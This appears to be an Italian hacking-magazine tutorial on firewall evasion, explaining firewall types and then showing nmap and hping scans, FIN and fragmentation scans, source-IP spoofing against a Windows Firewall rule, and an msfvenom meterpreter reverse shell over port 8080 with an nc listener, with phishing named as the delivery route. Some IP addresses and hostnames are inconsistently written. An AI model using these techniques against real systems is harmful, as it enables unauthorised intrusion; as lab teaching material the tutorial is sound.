Categories: ⚔️, Hacking10.4 min read

Firewall Bypass

Che cos’è un Firewall?

La comunicazione attraverso Internet avviene mediante la trasmissione e la ricezione di dati da un mittente a un destinatario. Poiché i dati non possono essere inviati nella loro totalità, vengono suddivisi in pacchetti. Ogni pacchetto di dati è costituito da un’header (le informazioni di controllo) e da un payload (i dati effettivi). L’ header fornisce informazioni sul mittente e sul destinatario.

Il Firewall può essere definito come un dispositivo o programma elettronico, che gestisce il flusso di pacchetti e le informazioni che entrano o escono da una rete. Il suo scopo è di impedire accessi non consentiti all’infrastruttura network, analizzando i vari pacchetti prima che possano entrare nella rete interna attraverso una data porta. Possiamo immaginare il firewall come il gatekeeper (il guardiano) della rete che esamina il flusso di pacchetti in ingresso e in uscita per determinare quali sono autorizzati e quali no, basandosi su una serie di regole preimpostate.

Tipi di Firewall

Le due principali categorie di firewall sono hardware o software, oppure entrambi.

  • Hardware Firewall: anche conosciuto come Appliance Firewall è un dispositivo hardware (fisico), collocato fra la rete interna e quella esterna, utilizzato solitamente da medie e grandi organizzazioni.
  • Software Firewall: anche conosciuto come Host Firewall è un Software installato solitamente su un singolo dispositivo (ad esempio una macchina virtuale che ospita il software) che permette di abilitare o bloccare la connessione di determinate applicazioni.

Tecniche Firewall

  • Packet Filtering: è la più classica delle tipologie, che analizza l’intestazione (header) del singolo pacchetto e decide se bloccarlo o autorizzarlo. Vengono ispezionati quindi l’indirizzo IP sorgente, l’IP di destinazione, la porta sorgente, la porta di destinazione ed il protocollo. A seconda delle regole che definiscono questi parametri, viene autorizzato oppure no il transito dei pacchetti.
  • Circuit-Level Gateways: lavorano al livello sessione (livello 5) del modello ISO/OSI, garantendo che le connessioni stabilite siano sicure. Questa operazione avviene tramite il controllo aggiuntivo delle informazioni sullo scambio di dati e tenendo traccia del loro stato.
  • Stateful Inspection: il firewall utilizza un database per memorizzare informazioni su tutte le connessioni (IP e porta, di origine e destinazione), che permette un controllo anche sui vecchi pacchetti di rete, in modo da applicare regole di “filtering” (filtraggio) sullo stato delle connessioni. Ad esempio, può agire bloccando tutti i pacchetti che non appartengono ad una connessione attiva.
  • Proxy Firewalls: questa tecnica analizza sia l’header che il payload del pacchetto, in modo da riuscire a distinguere il traffico di un’applicazione a prescindere dalla porta che utilizza. Inoltre, quando un client invia una richiesta per accedere a una pagina Web, il messaggio viene “dirottato” dal server proxy. Il proxy inoltra il messaggio al server web, fingendo di essere il client. In questo modo, vengono protette informazioni e posizione dell’host.
  • Next-Generation: combinando diverse tecniche, come ispezione dei pacchetti, stateful e deep packet, viene ispezionato l’intero percorso del dato (incluso l’handshake TCP) ed il dato stesso.

Firewalls Attack!

Il nostro primo obbiettivo sarà: scanme.nmap.org una macchina messa a disposizione appositamente da Nmap Security Scanner Project, per fini di testing.

Ci sono diverse tecniche che potremmo utilizzare al fine di bypassare un firewall e due tool ci vengono incontro: nmap e hping.

Procediamo per fasi

  1. Ricognizione:

Iniziamo con una ricognizione sul nostro target. Per farlo utilizziamo hping in modo da non inviare troppe richieste e rischiare così che venga rilevata la nostra attività.

hping funziona in maniera analoga al comando Unix ping, ma fa uso di diversi protocolli e soprattutto permette di gestire la costruzione del nostro pacchetto IP.  Utilizzeremo la versione hping3, la più recente, che ci permetterà inoltre di ricorrere al linguaggio Tcl per mettere a punto degli script.

Ad esempio, per utilizzare hping in maniera analoga al comando ping, digiteremo:

hping3 -1 nmap.scanme.org -c 1

  • hping3: comando
  • -1: mondialità ICMP, invio e ricezione ICMP-echo e ICMP-reply
  • scanme.org: il nostro test-host
  • -c: numero di pacchetti
  • 1: inviamo un solo pacchetto

 

  1. Traceroute

Identifichiamo adesso il nostro “network range” e tracciamo la rotta dei pacchetti (il loro percorso) determinando tutti i punti di snodo (come routers e devices) che si frappongono fra noi ed il nostro obiettivo.

hping3 –traceroute -V -1 nmap.scanme.org

  • hping3: comando
  • –traceroute: modalità di tracciamento
  • -V: mostra più dati nell’output del comando (verbose)
  • -1: modalità ICMP
  • scanme.org: il nostro target

 

  1. Port Scanning

Proviamo adesso ad eseguire un port scanning sulla macchina vittima, nel tentativo di stabile quali porte siano in ascolto.

nmap –p 1-1000 -T4 nmap.scanme.org

  • nmap: comando
  • -p 1-1000 : porte da 1 a 1000
  • -T4 : aggressive scan
  • scanme.org: il nostro target

Come possiamo notare dall’immagine, le porte “filtered” sono quelle protette dal firewall.

 

  1. Bypassing Firewall Rules

È possibile impiegare diversi metodi al fine di aggirare un firewall.

FIN scan

Un segmento TCP è strutturato con dei Flags a 8bit per il controllo del protocollo, uno di questi Flag prende il nome di FIN. Se il flag FIN è impostato ad 1 indica che l’host mittente del segmento vuole chiudere la connessione TCP, aperta con l’host destinatario.

Il protocollo TCP a.k.a. “DARPA INTERNET PROTOCOL SPECIFICATION” a.k.a. RFC 793, prevede che: un host che riceva un pacchetto con flag FIN attivo, nel caso in cui la porta sia chiusa, risponda con un pacchetto con flag RST attivo; nel caso, invece, in cui la porta sia aperta, ignori il pacchetto.

Utilizzando nmap l’opzione –sF consente di inviare pacchetti TCP con il solo flag FIN attivo.

nmap -sF –p 1-1000 -T4 nmap.scanme.org

  • nmap: comando
  • -sF: invio di pacchetti con il flag FIN attivo
  • -p 1-10000 : porte da 1 a 1000
  • -T4 : aggressive scan
  • scanme.org : IP Target

 

Come potete osservare, lo stato delle porte che prima erano “filtered” è cambiato, rivelando adesso uno stato di “indeterminazione”:open|filtered.

Fragmentation “Fuzzing”

Alcuni packet-filter, propri dei sistemi di protezione, hanno problemi nel gestire la frammentazione dei pacchetti IP e questo causa una sorta di “fuzzing dei pacchetti” durante la fase di riassemblaggio. Il comando –f induce nmap a distribuire pacchetti di grandezze diverse. Nell’esempio utilizziamo 16 bytes per frammento.

nmap –f –p 1-1000 –T4 nmap.scanme.org

Sfortunatamente i recenti Firewall e gli Intrusion Detection System (IDS), sono in grado di rilevare la tecnica di frammentazione.

Tuttavia, potremmo utilizzare l’opzione ––mtu per passare il numero massimo di byte come argomento (deve essere un multiplo di 8 e non può essere combinato con l’opzione –f). Inoltre, potremmo utilizzare la frammentazione di un pacchetto a nostro favore.

Se, ad esempio, il nostro Firewall consentisse ai pacchetti di passare verso la porta 21, ma non verso la porta 445, potremmo agire inviando un primo pacchetto al firewall, che contenga la porta 21 (lecita). Questo rappresenterà il nostro lasciapassare, poiché contenendo tale porta e sfruttando la frammentazione del pacchetto, ne invierà uno con un offset 0, che contiene la porta 445 e sovrascriverà il pacchetto iniziale. Il risultato sarà un pacchetto indirizzato alla porta 445, che il firewall avrà lasciato passare.

IPv6

Nonostante il protocollo IPv6 non sia così diffuso, viene comunque utilizzato da diverse organizzazioni. Quando questo protocollo viene impiegato, spesso ci si dimentica di configurare correttamente le regole di filtraggio. Utilizzando l’opzione -6 è possibile effettuarne la scansione.

nmap -6 [target]

Firewall Script Bypass

Potremmo inoltre testare il nostro target utilizzando alcuni script come “firewall-bypass”, che rileva vulnerabilità nei firewall che utilizzano helper par aprire dinamicamente le porte a diversi protocolli (come ftp).

Lo script funziona spooffando un pacchetto dal target, che richiede l’apertura di una connessione correlata ad una data porta di destinazione.

nmap nmap.scanme.org –script firewall-bypass

  • nmap : comando
  • scanme.org: target
  • –script firewall-bypass: utilizzo dello script per firewall-bypass

 

Firewall Evasion – Spoofing IP Address

È una tecnica che permette di inviare richieste ad un apparato di rete, spacciandosi per un altro host. In pratica, si procede falsificando diverse informazioni, nel nostro caso l’indirizzo IP; solitamente un indirizzo IP abilitato a cui sono permesse particolari azioni (ad es. potersi collegare ad una data macchina nella rete).

Applichiamo questa tecnica per aggirare adesso il nostro firewall.
Ipotizziamo il seguente ambiente:

  • Macchina Attaccante Kali Linux – Avente Indirizzo IP: 168.178.79
  • Macchina Vittima Windows 10 Pro x64bit – Avente IP: 168.178.83
  • Macchina JumpHost Windows 10 Pro x64bit – Avente IP: 168.178.111

La nostra Vittima utilizza un tipo di firewall software, il classico Windows Firewall, che blocca tutte le connessioni (non autorizzate) in ingresso e in uscita.

Supponiamo adesso che l’amministratore di sistema abbia inserito una regola all’interno del firewall, che abilita solo il traffico di un singolo host verso la macchina vittima: la macchina JumpHost avente IP 192.168.178.111.

Magari la regola è stata inserita per limitare l’accesso al Domain Controller.

Quindi sulla Vittima, il nostro amministratore, ha inserito una regola sul Firewall tramite il seguente comando:

netsh advfirewall firewall add rule name=”JumpHost 192.168.178.111″ dir=in action=allow protocol=ANY remoteip=192.168.178.111

Ed infatti, troviamo la regola in “Inbound Rules”:

Ora, dalla macchina attaccante, tentiamo di effettuare una scansione delle porte sulla macchina vittima. Come vedete, il Firewall blocca tutto il traffico in ingresso, vanificando i nostri tentativi.

nmap 192.168.178.83

Ma cosa succederebbe se fingessimo di essere il nostro JumpHost?

Ripartiamo con la scansione, facendo credere alla macchina vittima che tale richiesta di scansione arrivi dalla macchina abilitata dall’amministratore di rete. Quindi digitiamo il comando:

nmap -e eth0 -S 192.168.178.111 192.168.178.83

  • nmap : comando
  • -e : indica a nmap quale interfaccia di rete vogliamo utilizzare
  • eth0 : la nostra interfaccia di rete
  • -S : l’opzione –S sta per Spoof source address
  • 168.178.111 : L’IP del JumpHost per cui ci vogliamo spacciare
  • 168.178.83 : l’indirizzo IP della macchina vittima

Questa volta il risultato è completamente diverso: la macchina vittima ci risponde fornendo il risultato dell’nmap, con le porte aperte.

Abbiamo appena evaso il firewall!

Firewall Evasion attraverso la porta 8080

Utilizziamo sempre:

  • Macchina Attaccante Kali Linux – Avente Indirizzo IP: 168.178.79
  • Macchina Vittima Windows 10 Pro x64bit – Avente IP: 168.178.83 con il nostro Firewall Software attivo (Windows Firewall)
  • Macchina di Testing Windows 10 Pro x64bit – Avente IP: 168.178.112

La porta 8080 è molto popolare e viene convenzionalmente utilizzata per l’Hypertext Transfer Protocol (HTTP), cioè per la navigazione. Il Firewall permette al client di navigare in internet e quindi non blocca il traffico in uscita sulle porte 8080 e 80. Ciò che faremo sarà proprio sfruttare questa porta per ottenere una reverseshell.

Portiamoci sulla macchina attaccante ed utilizzando lo script in python di Reverse Shell, da noi creato nell’ultima puntata della serie The Fallen Dreams e chiamato: RShell_Windows.py

Oppure creiamo una nuova ReverseShell usando msfvenom:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=”192.168.178.79” LPORT=8080 -f exe > rshell.exe

Apriamo il nostro script utilizzando l’editor di testo che ci è più congeniale, assicuriamoci che alla dichiarazione dell’HOST sia presente l’indirizzo IP della nostra macchina attaccante e cambiamo la porta scegliendo l’8080.

A questo punto, come avevamo già visto nello scorso episodio, copiamo lo script su una macchina di testing Windows (con specifiche analoghe alla nostra vittima) e generiamo tramite pyinstaller il nostro file .exe, nel mio caso: RShell_Windows_8080.exe (la guida completa di tutti gli step la trovate nell’ultima puntata della serie The Fallen Dreams: Hacker Journal numero 253).

Come al solito, testiamolo mettendoci in ascolto sulla porta 8080 dalla nostra macchina attaccante.

Una volta assicuratici che la nostra ReverseShell funzioni nell’ambiente di testing, potremmo ipotizzare di inviarla alla nostra vittima tramite una mail di phishing, ricorrendo a tecniche di Social Engineering. Per i nostri scopi, passiamo ora il file attraverso una share di rete condivisa dall’ambiente Oracle VM VirtualBox. Una volta che il file sarà all’interno della nostra macchina vittima, spostiamoci sulla macchina attaccante e mettiamoci in ascolto sulla porta 8080.

nc –lvp 8080

  • nc: invochiamo netcat
  • -l: listening mode
  • -v: verbose
  • -p: porta
  • 8080: porta su cui desideriamo metterci in ascolto

A questo punto una volta che la vittima avrà eseguito il nostro file exe (RShell_Windows_8080.exe), otterremo la nostra revershell.

 

Go to Top